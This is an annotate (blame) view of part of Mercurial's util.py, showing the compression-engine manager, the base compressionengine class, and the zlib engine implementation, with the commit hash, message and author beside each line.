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util: create new abstraction for compression engines
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|
3310 """Obtain a compression engine registered to a bundle name. |
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|
3311 |
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diff
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|
3312 Will raise KeyError if the bundle type isn't registered. |
30438
90933e4e44fd
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diff
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|
3313 |
90933e4e44fd
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|
3314 Will abort if the engine is known but not available. |
30350
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|
3315 """ |
30438
90933e4e44fd
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diff
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|
3316 engine = self._engines[self._bundlenames[bundlename]] |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3317 if not engine.available(): |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3318 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
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30437
diff
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|
3319 engine.name()) |
90933e4e44fd
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3320 return engine |
30350
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diff
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|
3321 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3322 def forbundletype(self, bundletype): |
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parents:
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diff
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|
3323 """Obtain a compression engine registered to a bundle type. |
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|
3324 |
358cda0af6ee
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3325 Will raise KeyError if the bundle type isn't registered. |
30438
90933e4e44fd
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3326 |
90933e4e44fd
util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3327 Will abort if the engine is known but not available. |
30350
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diff
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|
3328 """ |
30438
90933e4e44fd
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diff
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|
3329 engine = self._engines[self._bundletypes[bundletype]] |
90933e4e44fd
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3330 if not engine.available(): |
90933e4e44fd
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Gregory Szorc <gregory.szorc@gmail.com>
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30437
diff
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|
3331 raise error.Abort(_('compression engine %s could not be loaded') % |
90933e4e44fd
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Gregory Szorc <gregory.szorc@gmail.com>
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30437
diff
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|
3332 engine.name()) |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3333 return engine |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3334 |
30761
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util: declare wire protocol support of compression engines
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|
3335 def supportedwireengines(self, role, onlyavailable=True): |
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|
3336 """Obtain compression engines that support the wire protocol. |
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|
3337 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3338 Returns a list of engines in prioritized order, most desired first. |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3339 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3340 If ``onlyavailable`` is set, filter out engines that can't be |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3341 loaded. |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
3342 """ |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3343 assert role in (SERVERROLE, CLIENTROLE) |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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|
3344 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3345 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3346 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3347 engines = [self._engines[e] for e in self._wiretypes.values()] |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3348 if onlyavailable: |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
3349 engines = [e for e in engines if e.available()] |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3350 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3351 def getkey(e): |
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util: declare wire protocol support of compression engines
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|
3352 # Sort first by priority, highest first. In case of tie, sort |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3353 # alphabetically. This is arbitrary, but ensures output is |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3354 # stable. |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3355 w = e.wireprotosupport() |
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|
3356 return -1 * getattr(w, attr), w.name |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3357 |
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|
3358 return list(sorted(engines, key=getkey)) |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3359 |
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3360 def forwiretype(self, wiretype): |
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|
3361 engine = self._engines[self._wiretypes[wiretype]] |
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|
3362 if not engine.available(): |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3363 raise error.Abort(_('compression engine %s could not be loaded') % |
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|
3364 engine.name()) |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3365 return engine |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3366 |
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|
3367 def forrevlogheader(self, header): |
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30794
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|
3368 """Obtain a compression engine registered to a revlog header. |
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|
3369 |
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|
3370 Will raise KeyError if the revlog header value isn't registered. |
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|
3371 """ |
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|
3372 return self._engines[self._revlogheaders[header]] |
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|
3373 |
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|
3374 compengines = compressormanager() |
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|
3375 |
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|
3376 class compressionengine(object): |
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|
3377 """Base class for compression engines. |
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|
3378 |
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|
3379 Compression engines must implement the interface defined by this class. |
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|
3380 """ |
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|
3381 def name(self): |
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|
3382 """Returns the name of the compression engine. |
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|
3383 |
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|
3384 This is the key the engine is registered under. |
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|
3385 |
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|
3386 This method must be implemented. |
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|
3387 """ |
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|
3388 raise NotImplementedError() |
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|
3389 |
30437
64d7275445d0
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|
3390 def available(self): |
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|
3391 """Whether the compression engine is available. |
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|
3392 |
64d7275445d0
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|
3393 The intent of this method is to allow optional compression engines |
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|
3394 that may not be available in all installations (such as engines relying |
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|
3395 on C extensions that may not be present). |
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diff
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|
3396 """ |
64d7275445d0
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diff
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|
3397 return True |
64d7275445d0
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diff
changeset
|
3398 |
30350
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|
3399 def bundletype(self): |
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|
3400 """Describes bundle identifiers for this engine. |
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|
3401 |
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diff
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|
3402 If this compression engine isn't supported for bundles, returns None. |
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|
3403 |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3404 If this engine can be used for bundles, returns a 2-tuple of strings of |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3405 the user-facing "bundle spec" compression name and an internal |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3406 identifier used to denote the compression format within bundles. To |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3407 exclude the name from external usage, set the first element to ``None``. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3408 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3409 If bundle compression is supported, the class must also implement |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3410 ``compressstream`` and `decompressorreader``. |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3411 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3412 The docstring of this method is used in the help system to tell users |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3413 about this engine. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3414 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3415 return None |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3416 |
30761
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3417 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3418 """Declare support for this compression format on the wire protocol. |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3419 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3420 If this compression engine isn't supported for compressing wire |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
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|
3421 protocol payloads, returns None. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3422 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3423 Otherwise, returns ``compenginewireprotosupport`` with the following |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3424 fields: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3425 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3426 * String format identifier |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3427 * Integer priority for the server |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3428 * Integer priority for the client |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3429 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3430 The integer priorities are used to order the advertisement of format |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3431 support by server and client. The highest integer is advertised |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3432 first. Integers with non-positive values aren't advertised. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3433 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3434 The priority values are somewhat arbitrary and only used for default |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3435 ordering. The relative order can be changed via config options. |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
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|
3436 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3437 If wire protocol compression is supported, the class must also implement |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3438 ``compressstream`` and ``decompressorreader``. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3439 """ |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3440 return None |
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util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
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|
3441 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3442 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3443 """Header added to revlog chunks that identifies this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3444 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3445 If this engine can be used to compress revlogs, this method should |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3446 return the bytes used to identify chunks compressed with this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3447 Else, the method should return ``None`` to indicate it does not |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
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|
3448 participate in revlog compression. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3449 """ |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3450 return None |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3451 |
30356
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util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3452 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
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|
3453 """Compress an iterator of chunks. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3454 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3455 The method receives an iterator (ideally a generator) of chunks of |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3456 bytes to be compressed. It returns an iterator (ideally a generator) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
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|
3457 of bytes of chunks representing the compressed output. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3458 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
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|
3459 Optionally accepts an argument defining how to perform compression. |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
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|
3460 Each engine treats this argument differently. |
c86109eface7
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3461 """ |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3462 raise NotImplementedError() |
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3463 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3464 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3465 """Perform decompression on a file object. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
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|
3466 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3467 Argument is an object with a ``read(size)`` method that returns |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3468 compressed data. Return value is an object with a ``read(size)`` that |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3469 returns uncompressed data. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3470 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3471 raise NotImplementedError() |
358cda0af6ee
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Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
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|
3472 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3473 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3474 """Obtain an object that can be used to compress revlog entries. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3475 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3476 The object has a ``compress(data)`` method that compresses binary |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3477 data. This method returns compressed binary data or ``None`` if |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3478 the data could not be compressed (too small, not compressible, etc). |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3479 The returned data should have a header uniquely identifying this |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3480 compression format so decompression can be routed to this engine. |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3481 This header should be identified by the ``revlogheader()`` return |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3482 value. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3483 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3484 The object has a ``decompress(data)`` method that decompresses |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3485 data. The method will only be called if ``data`` begins with |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3486 ``revlogheader()``. The method should return the raw, uncompressed |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3487 data or raise a ``RevlogError``. |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3488 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3489 The object is reusable but is not thread safe. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3490 """ |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3491 raise NotImplementedError() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
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30773
diff
changeset
|
3492 |
30350
358cda0af6ee
util: create new abstraction for compression engines
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diff
changeset
|
3493 class _zlibengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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30332
diff
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|
3494 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3495 return 'zlib' |
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util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
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diff
changeset
|
3496 |
358cda0af6ee
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30332
diff
changeset
|
3497 def bundletype(self): |
31792
55c0c91f55e6
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parents:
31777
diff
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|
3498 """zlib compression using the DEFLATE algorithm. |
55c0c91f55e6
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diff
changeset
|
3499 |
55c0c91f55e6
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diff
changeset
|
3500 All Mercurial clients should support this format. The compression |
55c0c91f55e6
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parents:
31777
diff
changeset
|
3501 algorithm strikes a reasonable balance between compression ratio |
55c0c91f55e6
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parents:
31777
diff
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|
3502 and size. |
55c0c91f55e6
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Gregory Szorc <gregory.szorc@gmail.com>
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diff
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|
3503 """ |
30350
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diff
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|
3504 return 'gzip', 'GZ' |
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diff
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|
3505 |
30761
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diff
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|
3506 def wireprotosupport(self): |
7283719e2bfd
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diff
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|
3507 return compewireprotosupport('zlib', 20, 20) |
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|
3508 |
30798
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|
3509 def revlogheader(self): |
f50c0db50025
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30794
diff
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|
3510 return 'x' |
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|
3511 |
30356
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|
3512 def compressstream(self, it, opts=None): |
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|
3513 opts = opts or {} |
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|
3514 |
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diff
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|
3515 z = zlib.compressobj(opts.get('level', -1)) |
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Gregory Szorc <gregory.szorc@gmail.com>
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|
3516 for chunk in it: |
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|
3517 data = z.compress(chunk) |
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|
3518 # Not all calls to compress emit data. It is cheaper to inspect |
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diff
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|
3519 # here than to feed empty chunks through generator. |
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|
3520 if data: |
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diff
changeset
|
3521 yield data |
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diff
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|
3522 |
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diff
changeset
|
3523 yield z.flush() |
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diff
changeset
|
3524 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3525 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3526 def gen(): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3527 d = zlib.decompressobj() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3528 for chunk in filechunkiter(fh): |
30536
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3529 while chunk: |
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3530 # Limit output size to limit memory. |
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3531 yield d.decompress(chunk, 2 ** 18) |
98d7636c4729
util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30473
diff
changeset
|
3532 chunk = d.unconsumed_tail |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3533 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3534 return chunkbuffer(gen()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3535 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3536 class zlibrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3537 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3538 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3539 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3540 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3541 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3542 if insize < 44: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3543 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3544 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3545 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3546 compressed = zlib.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3547 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3548 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3549 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3550 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3551 # zlib makes an internal copy of the input buffer, doubling |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3552 # memory usage for large inputs. So do streaming compression |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3553 # on large inputs. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3554 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3555 z = zlib.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3556 parts = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3557 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3558 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3559 pos2 = pos + 2**20 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3560 parts.append(z.compress(data[pos:pos2])) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3561 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3562 parts.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3563 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3564 if sum(map(len, parts)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3565 return ''.join(parts) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3566 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3567 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3568 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3569 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3570 return zlib.decompress(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3571 except zlib.error as e: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3572 raise error.RevlogError(_('revlog decompress error: %s') % |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3573 str(e)) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3574 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
